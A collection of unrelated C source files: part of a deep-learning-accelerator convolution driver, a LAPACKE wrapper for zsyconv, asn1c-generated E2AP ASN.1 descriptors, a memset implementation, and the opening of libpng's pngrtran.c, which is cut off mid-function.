CHECK_ALIGN(wmb_address, atom_size); CHECK_ALIGN(conv_surface->wmb_data.size, 128); ASSERT_GOTO((conv_surface->wgs_data.address != -1), ret, ERR(INVALID_INPUT), exit); dla_get_dma_cube_address(engine->driver_context, engine->task->task_data, conv_surface->wgs_data.address, conv_surface->wgs_data.offset, (void *)&wgs_address, DESTINATION_DMA); CHECK_ALIGN(wgs_address, atom_size); CHECK_ALIGN(conv_surface->wgs_data.size, 4); } if (conv_surface->weight_data.address != -1) { dla_get_dma_cube_address(engine->driver_context, engine->task->task_data, conv_surface->weight_data.address, conv_surface->weight_data.offset, (void *)&weight_address, DESTINATION_DMA); CHECK_ALIGN(weight_address, atom_size); CHECK_ALIGN(conv_surface->weight_data.size, 128); } if (conv_surface->dst_data.address != -1) { dla_get_dma_cube_address(engine->driver_context, engine->task->task_data, conv_surface->dst_data.address, conv_surface->dst_data.offset, (void *)&output_address, DESTINATION_DMA); CHECK_ALIGN(output_address, atom_size); CHECK_ALIGN(conv_surface->dst_data.size, atom_size); CHECK_ALIGN(conv_surface->dst_data.line_stride, atom_size); CHECK_ALIGN(conv_surface->dst_data.surf_stride, atom_size); } ret = dla_read_input_address(&conv_surface->src_data, &input_address, group->op_desc->index, group->roi_index, map_img_fmt[conv_op->data_format][1]); if (ret) goto exit; CHECK_ALIGN(input_address, atom_size); ASSERT_GOTO((conv_op->out_cvt.scale == 1), ret, ERR(INVALID_INPUT), exit); ASSERT_GOTO((conv_op->out_cvt.offset == 0), ret, ERR(INVALID_INPUT), exit); /* check if the register group is idle */ reg = cacc_reg_read(S_STATUS); mask = group->id ? MASK(CACC_S_STATUS_0, STATUS_1) : MASK(CACC_S_STATUS_0, STATUS_0); shift = group->id ? SHIFT(CACC_S_STATUS_0, STATUS_1) : SHIFT(CACC_S_STATUS_0, STATUS_0); reg = (reg & mask) >> shift; ASSERT_GOTO((reg == FIELD_ENUM(CACC_S_STATUS_0, STATUS_0, IDLE)), ret, ERR(INVALID_INPUT), exit); reg = cmac_a_reg_read(S_STATUS); mask = group->id ? MASK(CMAC_A_S_STATUS_0, STATUS_1) : MASK(CMAC_A_S_STATUS_0, STATUS_0); shift = group->id ? SHIFT(CMAC_A_S_STATUS_0, STATUS_1) : SHIFT(CMAC_A_S_STATUS_0, STATUS_0); reg = (reg & mask) >> shift; ASSERT_GOTO((reg == FIELD_ENUM(CMAC_A_S_STATUS_0, STATUS_0, IDLE)), ret, ERR(INVALID_INPUT), exit); reg = cmac_b_reg_read(S_STATUS); mask = group->id ? MASK(CMAC_B_S_STATUS_0, STATUS_1) : MASK(CMAC_B_S_STATUS_0, STATUS_0); shift = group->id ? SHIFT(CMAC_B_S_STATUS_0, STATUS_1) : SHIFT(CMAC_B_S_STATUS_0, STATUS_0); reg = (reg & mask) >> shift; ASSERT_GOTO((reg == FIELD_ENUM(CMAC_B_S_STATUS_0, STATUS_0, IDLE)), ret, ERR(INVALID_INPUT), exit); reg = csc_reg_read(S_STATUS); mask = group->id ? MASK(CSC_S_STATUS_0, STATUS_1) : MASK(CSC_S_STATUS_0, STATUS_0); shift = group->id ? SHIFT(CSC_S_STATUS_0, STATUS_1) : SHIFT(CSC_S_STATUS_0, STATUS_0); reg = (reg & mask) >> shift; ASSERT_GOTO((reg == FIELD_ENUM(CSC_S_STATUS_0, STATUS_0, IDLE)), ret, ERR(INVALID_INPUT), exit); reg = cdma_reg_read(S_STATUS); mask = group->id ? MASK(CDMA_S_STATUS_0, STATUS_1) : MASK(CDMA_S_STATUS_0, STATUS_0); shift = group->id ? SHIFT(CDMA_S_STATUS_0, STATUS_1) : SHIFT(CDMA_S_STATUS_0, STATUS_0); reg = (reg & mask) >> shift; ASSERT_GOTO((reg == FIELD_ENUM(CDMA_S_STATUS_0, STATUS_0, IDLE)), ret, ERR(INVALID_INPUT), exit); /* reverse config each sub-module in CC */ /* CACC */ reg = (map_conv[conv_op->conv_mode] << SHIFT(CACC_D_MISC_CFG_0, CONV_MODE)) | (map_precision[conv_op->out_precision] << SHIFT(CACC_D_MISC_CFG_0, PROC_PRECISION)); cacc_reg_write(D_MISC_CFG, reg); reg = ((conv_surface->dst_data.width - 1) << SHIFT(CACC_D_DATAOUT_SIZE_0_0, DATAOUT_WIDTH)) | ((conv_surface->dst_data.height - 1) << SHIFT(CACC_D_DATAOUT_SIZE_0_0, DATAOUT_HEIGHT)); cacc_reg_write(D_DATAOUT_SIZE_0, reg); reg = ((conv_surface->dst_data.channel - 1) << SHIFT(CACC_D_DATAOUT_SIZE_1_0, DATAOUT_CHANNEL)); cacc_reg_write(D_DATAOUT_SIZE_1, reg); low = LOW32BITS(output_address); cacc_reg_write(D_DATAOUT_ADDR, low); cacc_reg_write(D_BATCH_NUMBER, conv_op->batch - 1); cacc_reg_write(D_LINE_STRIDE, conv_surface->dst_data.line_stride); cacc_reg_write(D_SURF_STRIDE, conv_surface->dst_data.surf_stride); if (conv_surface->dst_data.width == 1 && conv_surface->dst_data.height == 1) { ASSERT_GOTO((((uint32_t)conv_surface->dst_data.line_stride == (uint32_t)(conv_surface->dst_data.width * atom_size))), ret, ERR(INVALID_INPUT), exit); reg = (CACC_D_DATAOUT_MAP_0_LINE_PACKED_TRUE << SHIFT(CACC_D_DATAOUT_MAP_0, LINE_PACKED)); reg |= (CACC_D_DATAOUT_MAP_0_SURF_PACKED_TRUE << SHIFT(CACC_D_DATAOUT_MAP_0, SURF_PACKED)); } else { reg = (FIELD_ENUM(CACC_D_DATAOUT_MAP_0, LINE_PACKED, FALSE) << SHIFT(CACC_D_DATAOUT_MAP_0, LINE_PACKED)); reg |= (FIELD_ENUM(CACC_D_DATAOUT_MAP_0, SURF_PACKED, FALSE) << SHIFT(CACC_D_DATAOUT_MAP_0, SURF_PACKED)); } cacc_reg_write(D_DATAOUT_MAP, reg); cacc_reg_write(D_CLIP_CFG, conv_op->out_cvt.truncate); /* CMAC */ reg = (map_conv[conv_op->conv_mode] << SHIFT(CMAC_A_D_MISC_CFG_0, CONV_MODE)) | (map_precision[conv_op->out_precision] << SHIFT(CMAC_A_D_MISC_CFG_0, PROC_PRECISION)); cmac_a_reg_write(D_MISC_CFG, reg); cmac_b_reg_write(D_MISC_CFG, reg); /* CSC */ reg = (map_conv[conv_op->conv_mode] << SHIFT(CSC_D_MISC_CFG_0, CONV_MODE)) | (map_precision[conv_op->out_precision] << SHIFT(CSC_D_MISC_CFG_0, IN_PRECISION)) | (map_precision[conv_op->out_precision] << SHIFT(CSC_D_MISC_CFG_0, PROC_PRECISION)) | (conv_op->data_reuse << SHIFT(CSC_D_MISC_CFG_0, DATA_REUSE)) | (conv_op->weight_reuse << SHIFT(CSC_D_MISC_CFG_0, WEIGHT_REUSE)) | (conv_op->skip_data_rls << SHIFT(CSC_D_MISC_CFG_0, SKIP_DATA_RLS)) | (conv_op->skip_weight_rls << SHIFT(CSC_D_MISC_CFG_0, SKIP_WEIGHT_RLS)); csc_reg_write(D_MISC_CFG, reg); reg = (get_in_format(conv_op->data_format) << SHIFT(CSC_D_DATAIN_FORMAT_0, DATAIN_FORMAT)); csc_reg_write(D_DATAIN_FORMAT, reg); reg = ((conv_op->input_width_csc - 1) << SHIFT(CSC_D_DATAIN_SIZE_EXT_0_0, DATAIN_WIDTH_EXT)) | ((conv_op->input_height_csc - 1) << SHIFT(CSC_D_DATAIN_SIZE_EXT_0_0, DATAIN_HEIGHT_EXT)); csc_reg_write(D_DATAIN_SIZE_EXT_0, reg); reg = ((conv_op->input_channel_csc - 1) << SHIFT(CSC_D_DATAIN_SIZE_EXT_1_0, DATAIN_CHANNEL_EXT)); csc_reg_write(D_DATAIN_SIZE_EXT_1, reg); reg = ((conv_op->batch - 1) << SHIFT(CSC_D_BATCH_NUMBER_0, BATCHES)); csc_reg_write(D_BATCH_NUMBER, reg); reg = ((conv_op->post_extension) << SHIFT(CSC_D_POST_Y_EXTENSION_0, Y_EXTENSION)); csc_reg_write(D_POST_Y_EXTENSION, reg); reg = ((conv_op->entry_per_slice - 1) << SHIFT(CSC_D_ENTRY_PER_SLICE_0, ENTRIES)); csc_reg_write(D_ENTRY_PER_SLICE, reg); reg = (map_weight_fmt[conv_op->weight_format] << SHIFT(CSC_D_WEIGHT_FORMAT_0, WEIGHT_FORMAT)); csc_reg_write(D_WEIGHT_FORMAT, reg); reg = ((conv_op->kernel_width_csc - 1) << SHIFT(CSC_D_WEIGHT_SIZE_EXT_0_0, WEIGHT_WIDTH_EXT)) | ((conv_op->kernel_height_csc - 1) << SHIFT(CSC_D_WEIGHT_SIZE_EXT_0_0, WEIGHT_HEIGHT_EXT)); csc_reg_write(D_WEIGHT_SIZE_EXT_0, reg); reg = ((conv_op->kernel_channel_csc - 1) << SHIFT(CSC_D_WEIGHT_SIZE_EXT_1_0, WEIGHT_CHANNEL_EXT)) | ((conv_surface->dst_data.channel - 1) << SHIFT(CSC_D_WEIGHT_SIZE_EXT_1_0, WEIGHT_KERNEL)); csc_reg_write(D_WEIGHT_SIZE_EXT_1, reg); csc_reg_write(D_WEIGHT_BYTES, conv_surface->weight_data.size); csc_reg_write(D_WMB_BYTES, conv_surface->wmb_data.size); reg = ((conv_op->input_width_cmac - 1) << SHIFT(CSC_D_DATAOUT_SIZE_0_0, DATAOUT_WIDTH)) | ((conv_op->input_height_cmac - 1) << SHIFT(CSC_D_DATAOUT_SIZE_0_0, DATAOUT_HEIGHT)); csc_reg_write(D_DATAOUT_SIZE_0, reg); reg = ((conv_surface->dst_data.channel - 1) << SHIFT(CSC_D_DATAOUT_SIZE_1_0, DATAOUT_CHANNEL)); csc_reg_write(D_DATAOUT_SIZE_1, reg); reg = ((conv_surface->dst_data.width * conv_surface->dst_data.height - 1) << SHIFT(CSC_D_ATOMICS_0, ATOMICS)); csc_reg_write(D_ATOMICS, reg); reg = ((conv_op->release - 1) << SHIFT(CSC_D_RELEASE_0, RLS_SLICES)); csc_reg_write(D_RELEASE, reg); if (conv_op->conv_mode == CONV_MODE_DIRECT) { stride_x = conv_op->conv_stride_x - 1; stride_y = conv_op->conv_stride_y - 1; pad_x = conv_op->pad_x_left; pad_y = conv_op->pad_y_top; } else { stride_x = 0; stride_y = 0; pad_x = 0; pad_y = 0; } reg = (stride_x << SHIFT(CSC_D_CONV_STRIDE_EXT_0, CONV_X_STRIDE_EXT)) | (stride_y << SHIFT(CSC_D_CONV_STRIDE_EXT_0, CONV_Y_STRIDE_EXT)); csc_reg_write(D_CONV_STRIDE_EXT, reg); reg = ((conv_op->dilation_x - 1) << SHIFT(CSC_D_DILATION_EXT_0, X_DILATION_EXT)) | ((conv_op->dilation_y - 1) << SHIFT(CSC_D_DILATION_EXT_0, Y_DILATION_EXT)); csc_reg_write(D_DILATION_EXT, reg); reg = (pad_x << SHIFT(CSC_D_ZERO_PADDING_0, PAD_LEFT)) | (pad_y << SHIFT(CSC_D_ZERO_PADDING_0, PAD_TOP)); csc_reg_write(D_ZERO_PADDING, reg); reg = (conv_op->pad_val << SHIFT(CSC_D_ZERO_PADDING_VALUE_0, PAD_VALUE)) & MASK(CSC_D_ZERO_PADDING_VALUE_0, PAD_VALUE); csc_reg_write(D_ZERO_PADDING_VALUE, reg); reg = ((conv_op->data_bank - 1) << SHIFT(CSC_D_BANK_0, DATA_BANK)) | ((conv_op->weight_bank - 1) << SHIFT(CSC_D_BANK_0, WEIGHT_BANK)); csc_reg_write(D_BANK, reg); csc_reg_write(D_PRA_CFG, conv_op->pra_truncate); /* CBUF */ /* there's no CBUF register */ /* CDMA */ reg = (map_conv[conv_op->conv_mode] << SHIFT(CDMA_D_MISC_CFG_0, CONV_MODE)) | (map_precision[conv_op->in_precision] << SHIFT(CDMA_D_MISC_CFG_0, IN_PRECISION)) | (map_precision[conv_op->out_precision] << SHIFT(CDMA_D_MISC_CFG_0, PROC_PRECISION)) | (conv_op->data_reuse << SHIFT(CDMA_D_MISC_CFG_0, DATA_REUSE)) | (conv_op->weight_reuse << SHIFT(CDMA_D_MISC_CFG_0, WEIGHT_REUSE)) | (conv_op->skip_data_rls << SHIFT(CDMA_D_MISC_CFG_0, SKIP_DATA_RLS)) | (conv_op->skip_weight_rls << SHIFT(CDMA_D_MISC_CFG_0, SKIP_WEIGHT_RLS)); cdma_reg_write(D_MISC_CFG, reg); reg = (get_in_format(conv_op->data_format) << SHIFT(CDMA_D_DATAIN_FORMAT_0, DATAIN_FORMAT)) | (map_img_fmt[conv_op->data_format][0] << SHIFT(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT)) | (map_pixel[conv_op->pixel_mapping] << SHIFT(CDMA_D_DATAIN_FORMAT_0, PIXEL_MAPPING)) | (conv_op->pixel_override << SHIFT(CDMA_D_DATAIN_FORMAT_0, PIXEL_SIGN_OVERRIDE)); cdma_reg_write(D_DATAIN_FORMAT, reg); reg = ((conv_surface->src_data.width - 1) << SHIFT(CDMA_D_DATAIN_SIZE_0_0, DATAIN_WIDTH)) | ((conv_surface->src_data.height - 1) << SHIFT(CDMA_D_DATAIN_SIZE_0_0, DATAIN_HEIGHT)); cdma_reg_write(D_DATAIN_SIZE_0, reg); reg = ((conv_surface->src_data.channel - 1) << SHIFT(CDMA_D_DATAIN_SIZE_1_0, DATAIN_CHANNEL)); cdma_reg_write(D_DATAIN_SIZE_1, reg); reg = ((conv_op->input_width_csc - 1) << SHIFT(CDMA_D_DATAIN_SIZE_EXT_0_0, DATAIN_WIDTH_EXT)) | ((conv_op->input_height_csc - 1) << SHIFT(CDMA_D_DATAIN_SIZE_EXT_0_0, DATAIN_HEIGHT_EXT)); cdma_reg_write(D_DATAIN_SIZE_EXT_0, reg); reg = (map_ram[conv_surface->src_data.type] << SHIFT(CDMA_D_DAIN_RAM_TYPE_0, DATAIN_RAM_TYPE)); cdma_reg_write(D_DAIN_RAM_TYPE, reg); high = HIGH32BITS(input_address); low = LOW32BITS(input_address); cdma_reg_write(D_DAIN_ADDR_HIGH_0, high); cdma_reg_write(D_DAIN_ADDR_LOW_0, low); high = HIGH32BITS((input_address + conv_surface->offset_u)); low = LOW32BITS(input_address + conv_surface->offset_u); cdma_reg_write(D_DAIN_ADDR_HIGH_1, high); cdma_reg_write(D_DAIN_ADDR_LOW_1, low); cdma_reg_write(D_LINE_STRIDE, conv_surface->src_data.line_stride); cdma_reg_write(D_SURF_STRIDE, conv_surface->src_data.surf_stride); cdma_reg_write(D_LINE_UV_STRIDE, conv_surface->in_line_uv_stride); reg = ((conv_surface->src_data.line_stride == ((uint32_t)conv_surface->src_data.width * atom_size)) << SHIFT(CDMA_D_DAIN_MAP_0, LINE_PACKED)); reg |= ((conv_surface->src_data.surf_stride == ((uint32_t)(conv_surface->src_data.width * conv_surface->src_data.height) * atom_size)) << SHIFT(CDMA_D_DAIN_MAP_0, SURF_PACKED)); cdma_reg_write(D_DAIN_MAP, reg); reg = ((conv_op->batch - 1) << SHIFT(CDMA_D_BATCH_NUMBER_0, BATCHES)); cdma_reg_write(D_BATCH_NUMBER, reg); cdma_reg_write(D_BATCH_STRIDE, conv_op->batch_stride); reg = ((conv_op->entry_per_slice - 1) << SHIFT(CDMA_D_ENTRY_PER_SLICE_0, ENTRIES)); cdma_reg_write(D_ENTRY_PER_SLICE, reg); reg = ((conv_op->fetch_grain - 1) << SHIFT(CDMA_D_FETCH_GRAIN_0, GRAINS)); cdma_reg_write(D_FETCH_GRAIN, reg); reg = (map_weight_fmt[conv_op->weight_format] << SHIFT(CDMA_D_WEIGHT_FORMAT_0, WEIGHT_FORMAT)); cdma_reg_write(D_WEIGHT_FORMAT, reg); reg = ((conv_op->bytes_per_kernel - 1) << SHIFT(CDMA_D_WEIGHT_SIZE_0_0, BYTE_PER_KERNEL)); cdma_reg_write(D_WEIGHT_SIZE_0, reg); reg = ((conv_surface->dst_data.channel - 1) << SHIFT(CDMA_D_WEIGHT_SIZE_1_0, WEIGHT_KERNEL)); cdma_reg_write(D_WEIGHT_SIZE_1, reg); reg = (map_ram[conv_surface->weight_data.type] << SHIFT(CDMA_D_WEIGHT_RAM_TYPE_0, WEIGHT_RAM_TYPE)); cdma_reg_write(D_WEIGHT_RAM_TYPE, reg); high = HIGH32BITS(weight_address); low = LOW32BITS(weight_address); cdma_reg_write(D_WEIGHT_ADDR_HIGH, high); cdma_reg_write(D_WEIGHT_ADDR_LOW, low); cdma_reg_write(D_WEIGHT_BYTES, conv_surface->weight_data.size); if (conv_op->weight_format == WEIGHT_FORMAT_COMPRESSED) { high = HIGH32BITS(wgs_address); low = LOW32BITS(wgs_address); cdma_reg_write(D_WGS_ADDR_HIGH, high); cdma_reg_write(D_WGS_ADDR_LOW, low); high = HIGH32BITS(wmb_address); low = LOW32BITS(wmb_address); cdma_reg_write(D_WMB_ADDR_HIGH, high); cdma_reg_write(D_WMB_ADDR_LOW, low); cdma_reg_write(D_WMB_BYTES, conv_surface->wmb_data.size); } reg = (map_mean[conv_op->mean_format] << SHIFT(CDMA_D_MEAN_FORMAT_0, MEAN_FORMAT)); cdma_reg_write(D_MEAN_FORMAT, reg); if (conv_op->mean_format == MEAN_FORMAT_ENABLE) { reg = ((conv_op->mean_ry << SHIFT(CDMA_D_MEAN_GLOBAL_0_0, MEAN_RY)) & MASK(CDMA_D_MEAN_GLOBAL_0_0, MEAN_RY)) | ((conv_op->mean_gu << SHIFT(CDMA_D_MEAN_GLOBAL_0_0, MEAN_GU)) & MASK(CDMA_D_MEAN_GLOBAL_0_0, MEAN_GU)); cdma_reg_write(D_MEAN_GLOBAL_0, reg); reg = ((conv_op->mean_bv << SHIFT(CDMA_D_MEAN_GLOBAL_1_0, MEAN_BV))& MASK(CDMA_D_MEAN_GLOBAL_1_0, MEAN_BV)) | ((conv_op->mean_ax << SHIFT(CDMA_D_MEAN_GLOBAL_1_0, MEAN_AX))& MASK(CDMA_D_MEAN_GLOBAL_1_0, MEAN_AX)); cdma_reg_write(D_MEAN_GLOBAL_1, reg); } if (conv_op->in_cvt.enable) { reg = ((FIELD_ENUM(CDMA_D_CVT_CFG_0, CVT_EN, ENABLE)) << SHIFT(CDMA_D_CVT_CFG_0, CVT_EN)) | (conv_op->in_cvt.truncate << SHIFT(CDMA_D_CVT_CFG_0, CVT_TRUNCATE)); cdma_reg_write(D_CVT_CFG, reg); cdma_reg_write(D_CVT_OFFSET, conv_op->in_cvt.offset); cdma_reg_write(D_CVT_SCALE, conv_op->in_cvt.scale); } else { reg = ((FIELD_ENUM(CDMA_D_CVT_CFG_0, CVT_EN, DISABLE)) << SHIFT(CDMA_D_CVT_CFG_0, CVT_EN)); cdma_reg_write(D_CVT_CFG, reg); } reg = ((conv_op->conv_stride_x - 1) << SHIFT(CDMA_D_CONV_STRIDE_0, CONV_X_STRIDE)) | ((conv_op->conv_stride_y - 1) << SHIFT(CDMA_D_CONV_STRIDE_0, CONV_Y_STRIDE)); cdma_reg_write(D_CONV_STRIDE, reg); reg = (conv_op->pad_x_left << SHIFT(CDMA_D_ZERO_PADDING_0, PAD_LEFT)) | (conv_op->pad_x_right << SHIFT(CDMA_D_ZERO_PADDING_0, PAD_RIGHT)) | (conv_op->pad_y_top << SHIFT(CDMA_D_ZERO_PADDING_0, PAD_TOP)) | (conv_op->pad_y_bottom << SHIFT(CDMA_D_ZERO_PADDING_0, PAD_BOTTOM)); cdma_reg_write(D_ZERO_PADDING, reg); reg = conv_op->pad_val << SHIFT(CDMA_D_ZERO_PADDING_VALUE_0, PAD_VALUE) & MASK(CDMA_D_ZERO_PADDING_VALUE_0, PAD_VALUE); cdma_reg_write(D_ZERO_PADDING_VALUE, reg); reg = ((conv_op->weight_bank - 1) << SHIFT(CDMA_D_BANK_0, WEIGHT_BANK)) | ((conv_op->data_bank - 1) << SHIFT(CDMA_D_BANK_0, DATA_BANK)); cdma_reg_write(D_BANK, reg); exit: dla_trace("Exit: %s", __func__); RETURN(ret); } int32_t dla_conv_is_ready(struct dla_processor *processor, struct dla_processor_group *group) { return 1; } void dla_conv_dump_config(struct dla_processor_group *group) { struct dla_conv_op_desc *conv_op; struct dla_conv_surface_desc *conv_surface; conv_surface = &group->surface_desc->conv_surface; conv_op = &group->operation_desc->conv_op; dla_debug_conv_surface_desc(conv_surface, group->roi_index); dla_debug_conv_op_desc(conv_op, group->roi_index); } int32_t dla_conv_program(struct dla_processor_group *group) { int32_t ret; dla_trace("Enter: %s", __func__); ret = processor_conv_program(group); if (ret) goto exit; exit: dla_trace("Exit: %s", __func__); RETURN(ret); }
600422.c
/***************************************************************************** Copyright (c) 2014, Intel Corp. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***************************************************************************** * Contents: Native high-level C interface to LAPACK function zsyconv * Author: Intel Corporation * Generated November 2015 *****************************************************************************/ #include "lapacke_utils.h" lapack_int LAPACKE_zsyconv( int matrix_layout, char uplo, char way, lapack_int n, lapack_complex_double* a, lapack_int lda, const lapack_int* ipiv, lapack_complex_double* work ) { lapack_int info = 0; if( matrix_layout != LAPACK_COL_MAJOR && matrix_layout != LAPACK_ROW_MAJOR ) { LAPACKE_xerbla( "LAPACKE_zsyconv", -1 ); return -1; } #ifndef LAPACK_DISABLE_NAN_CHECK /* Optionally check input matrices for NaNs */ if( LAPACKE_zge_nancheck( matrix_layout, lda, n, a, lda ) ) { return -5; } #endif /* Call middle-level interface */ info = LAPACKE_zsyconv_work( matrix_layout, uplo, way, n, a, lda, ipiv, work ); exit_level_0: if( info == LAPACK_WORK_MEMORY_ERROR ) { LAPACKE_xerbla( "LAPACKE_zsyconv", info ); } return info; }
627364.c
/* * Generated by asn1c-0.9.29 (http://lionet.info/asn1c) * From ASN.1 module "E2AP-PDU-Contents" * found in "E2AP-PDU-Contents-v01.00.asn" * `asn1c -pdu=auto -fno-include-deps -fcompound-names -findirect-choice -gen-PER -gen-OER -no-gen-example` */ #include "RICaction-ToBeSetup-Item.h" #include "RICsubsequentAction.h" asn_TYPE_member_t asn_MBR_RICaction_ToBeSetup_Item_1[] = { { ATF_NOFLAGS, 0, offsetof(struct RICaction_ToBeSetup_Item, ricActionID), (ASN_TAG_CLASS_CONTEXT | (0 << 2)), -1, /* IMPLICIT tag at current level */ &asn_DEF_RICactionID, 0, { 0, 0, 0 }, 0, 0, /* No default value */ "ricActionID" }, { ATF_NOFLAGS, 0, offsetof(struct RICaction_ToBeSetup_Item, ricActionType), (ASN_TAG_CLASS_CONTEXT | (1 << 2)), -1, /* IMPLICIT tag at current level */ &asn_DEF_RICactionType, 0, { 0, 0, 0 }, 0, 0, /* No default value */ "ricActionType" }, { ATF_POINTER, 2, offsetof(struct RICaction_ToBeSetup_Item, ricActionDefinition), (ASN_TAG_CLASS_CONTEXT | (2 << 2)), -1, /* IMPLICIT tag at current level */ &asn_DEF_RICactionDefinition, 0, { 0, 0, 0 }, 0, 0, /* No default value */ "ricActionDefinition" }, { ATF_POINTER, 1, offsetof(struct RICaction_ToBeSetup_Item, ricSubsequentAction), (ASN_TAG_CLASS_CONTEXT | (3 << 2)), -1, /* IMPLICIT tag at current level */ &asn_DEF_RICsubsequentAction, 0, { 0, 0, 0 }, 0, 0, /* No default value */ "ricSubsequentAction" }, }; static const int asn_MAP_RICaction_ToBeSetup_Item_oms_1[] = { 2, 3 }; static const ber_tlv_tag_t asn_DEF_RICaction_ToBeSetup_Item_tags_1[] = { (ASN_TAG_CLASS_UNIVERSAL | (16 << 2)) }; static const asn_TYPE_tag2member_t asn_MAP_RICaction_ToBeSetup_Item_tag2el_1[] = { { (ASN_TAG_CLASS_CONTEXT | (0 << 2)), 0, 0, 0 }, /* ricActionID */ { (ASN_TAG_CLASS_CONTEXT | (1 << 2)), 1, 0, 0 }, /* ricActionType */ { (ASN_TAG_CLASS_CONTEXT | (2 << 2)), 2, 0, 0 }, /* ricActionDefinition */ { (ASN_TAG_CLASS_CONTEXT | (3 << 2)), 3, 0, 0 } /* ricSubsequentAction */ }; asn_SEQUENCE_specifics_t asn_SPC_RICaction_ToBeSetup_Item_specs_1 = { sizeof(struct RICaction_ToBeSetup_Item), offsetof(struct RICaction_ToBeSetup_Item, _asn_ctx), asn_MAP_RICaction_ToBeSetup_Item_tag2el_1, 4, /* Count of tags in the map */ asn_MAP_RICaction_ToBeSetup_Item_oms_1, /* Optional members */ 2, 0, /* Root/Additions */ 4, /* First extension addition */ }; asn_TYPE_descriptor_t asn_DEF_RICaction_ToBeSetup_Item = { "RICaction-ToBeSetup-Item", "RICaction-ToBeSetup-Item", &asn_OP_SEQUENCE, asn_DEF_RICaction_ToBeSetup_Item_tags_1, sizeof(asn_DEF_RICaction_ToBeSetup_Item_tags_1) /sizeof(asn_DEF_RICaction_ToBeSetup_Item_tags_1[0]), /* 1 */ asn_DEF_RICaction_ToBeSetup_Item_tags_1, /* Same as above */ sizeof(asn_DEF_RICaction_ToBeSetup_Item_tags_1) /sizeof(asn_DEF_RICaction_ToBeSetup_Item_tags_1[0]), /* 1 */ { 0, 0, SEQUENCE_constraint }, asn_MBR_RICaction_ToBeSetup_Item_1, 4, /* Elements count */ &asn_SPC_RICaction_ToBeSetup_Item_specs_1 /* Additional specs */ };
913380.c
/* * memset.c * * Created by Jean-Pierre Höhmann on 18-08-25. * * Copyright 2018 Jean-Pierre Höhmann (@NuvandaPV) <jean-pierre@höhmann.info> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <string.h> #include "memset.h" /* * Fill a block of memory. * * Sets the first size bytes of the block of memory pointed to by bufptr to the specified value (interpreted as an * unsigned char), returning bufptr. */ void* memset(void* bufptr, int value, size_t size) { unsigned char* buf = (unsigned char*) bufptr; for (size_t i = 0; i < size; i++) buf[i] = (unsigned char) value; return bufptr; }
507889.c
 /* pngrtran.c - transforms the data in a row for PNG readers * * Last changed in libpng 1.5.2 [March 31, 2011] * Copyright (c) 1998-2011 Glenn Randers-Pehrson * (Version 0.96 Copyright (c) 1996, 1997 Andreas Dilger) * (Version 0.88 Copyright (c) 1995, 1996 Guy Eric Schalnat, Group 42, Inc.) * * This code is released under the libpng license. * For conditions of distribution and use, see the disclaimer * and license in png.h * * This file contains functions optionally called by an application * in order to tell libpng how to handle data when reading a PNG. * Transformations that are used in both reading and writing are * in pngtrans.c. */ #include "pngpriv.h" #ifdef PNG_READ_SUPPORTED /* Set the action on getting a CRC error for an ancillary or critical chunk. */ void PNGAPI png_set_crc_action(png_structp png_ptr, int crit_action, int ancil_action) { png_debug(1, "in png_set_crc_action"); if (png_ptr == NULL) return; /* Tell libpng how we react to CRC errors in critical chunks */ switch (crit_action) { case PNG_CRC_NO_CHANGE: /* Leave setting as is */ break; case PNG_CRC_WARN_USE: /* Warn/use data */ png_ptr->flags &= ~PNG_FLAG_CRC_CRITICAL_MASK; png_ptr->flags |= PNG_FLAG_CRC_CRITICAL_USE; break; case PNG_CRC_QUIET_USE: /* Quiet/use data */ png_ptr->flags &= ~PNG_FLAG_CRC_CRITICAL_MASK; png_ptr->flags |= PNG_FLAG_CRC_CRITICAL_USE | PNG_FLAG_CRC_CRITICAL_IGNORE; break; case PNG_CRC_WARN_DISCARD: /* Not a valid action for critical data */ png_warning(png_ptr, "Can't discard critical data on CRC error"); case PNG_CRC_ERROR_QUIT: /* Error/quit */ case PNG_CRC_DEFAULT: default: png_ptr->flags &= ~PNG_FLAG_CRC_CRITICAL_MASK; break; } /* Tell libpng how we react to CRC errors in ancillary chunks */ switch (ancil_action) { case PNG_CRC_NO_CHANGE: /* Leave setting as is */ break; case PNG_CRC_WARN_USE: /* Warn/use data */ png_ptr->flags &= ~PNG_FLAG_CRC_ANCILLARY_MASK; png_ptr->flags |= PNG_FLAG_CRC_ANCILLARY_USE; break; case PNG_CRC_QUIET_USE: /* Quiet/use data */ png_ptr->flags &= ~PNG_FLAG_CRC_ANCILLARY_MASK; png_ptr->flags |= PNG_FLAG_CRC_ANCILLARY_USE | PNG_FLAG_CRC_ANCILLARY_NOWARN; break; case PNG_CRC_ERROR_QUIT: /* Error/quit */ png_ptr->flags &= ~PNG_FLAG_CRC_ANCILLARY_MASK; png_ptr->flags |= PNG_FLAG_CRC_ANCILLARY_NOWARN; break; case 